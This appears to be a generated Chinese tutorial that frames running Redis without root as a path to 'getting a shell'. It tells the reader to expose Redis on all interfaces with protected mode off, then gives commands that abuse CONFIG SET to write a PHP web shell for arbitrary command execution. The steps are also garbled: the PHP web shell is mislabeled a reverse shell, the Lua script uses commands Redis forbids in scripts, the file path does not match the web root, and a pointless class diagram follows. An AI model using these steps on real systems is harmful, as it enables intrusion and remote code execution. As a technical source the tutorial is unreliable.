Redis非root权限运行拿shell实现指南

1. 简介

本文将指导一位刚入行的开发者如何实现在非root权限下运行Redis并获取shell。Redis是一个高性能的键值存储数据库,常用于缓存、消息队列等场景。在实际应用中,为了加强系统安全性,我们通常会以非root权限运行Redis。然而,在某些特殊情况下,我们需要获取shell权限进行进一步操作。本文将详细介绍实现步骤和相应的代码示例。

2. 实现步骤

下表展示了整个实现过程的步骤:

步骤 描述
步骤一 搭建Redis环境
步骤二 创建一个新的非特权用户
步骤三 修改Redis配置文件
步骤四 尝试以非root用户身份启动Redis
步骤五 获取shell权限

下面将逐步介绍每个步骤需要做的事情,包括相应的代码和注释。

步骤一:搭建Redis环境

首先,我们需要搭建Redis环境。可以从Redis官方网站(

步骤二:创建一个新的非特权用户

为了以非root权限运行Redis,我们需要创建一个新的非特权用户。可以使用以下命令创建一个名为"redis"的新用户:

sudo adduser redis

步骤三:修改Redis配置文件

接下来,我们需要修改Redis的配置文件,以便以非root权限运行。编辑Redis配置文件(通常位于/etc/redis/redis.conf),找到以下两行代码:

#bind 127.0.0.1
#protected-mode yes

将这两行代码修改为:

bind 0.0.0.0
protected-mode no

这样,Redis将允许在非本地IP上运行,并关闭保护模式。

步骤四:尝试以非root用户身份启动Redis

现在,我们可以尝试以非root用户身份启动Redis。使用以下命令以非特权用户"redis"身份启动Redis服务器:

redis-server

如果一切正常,你应该能够看到Redis服务器成功启动的相关日志。

步骤五:获取shell权限

在步骤四中,我们已经成功以非root用户身份启动了Redis。接下来,我们将尝试获取shell权限。使用以下代码执行Redis命令,创建一个反弹shell的Redis Lua脚本:

redis.call('config', 'set', 'dir', '/var/tmp')
redis.call('config', 'set', 'dbfilename', 'shell.php')
redis.call('set', 'shell', '<?php system($_GET["cmd"]); ?>')

这段代码将修改Redis的配置,指定Redis的数据目录为/var/tmp,并创建一个名为"shell.php"的Redis键值对,其值为反弹shell的PHP代码。

接下来,我们使用以下代码执行Redis命令,加载并运行上述Lua脚本:

redis-cli -h 127.0.0.1 -p 6379 --eval shell.lua

这段代码将连接到Redis服务器,并执行指定的Lua脚本。

如果一切顺利,你应该能够在/var/tmp目录下找到shell.php文件。通过访问http://your-ip/shell.php,你将能够执行任意的shell命令。

3. 类图

下面是一个简单的类图,展示了本文中所涉及的主要类和它们之间的关系:

classDiagram
    class Developer {
        +name: String
    }

    class Redis {
        +version: String
        +start(): void
        +stop(): void
        +getConfig(): String
        +setConfig(config: String): void
    }

    Developer --> Redis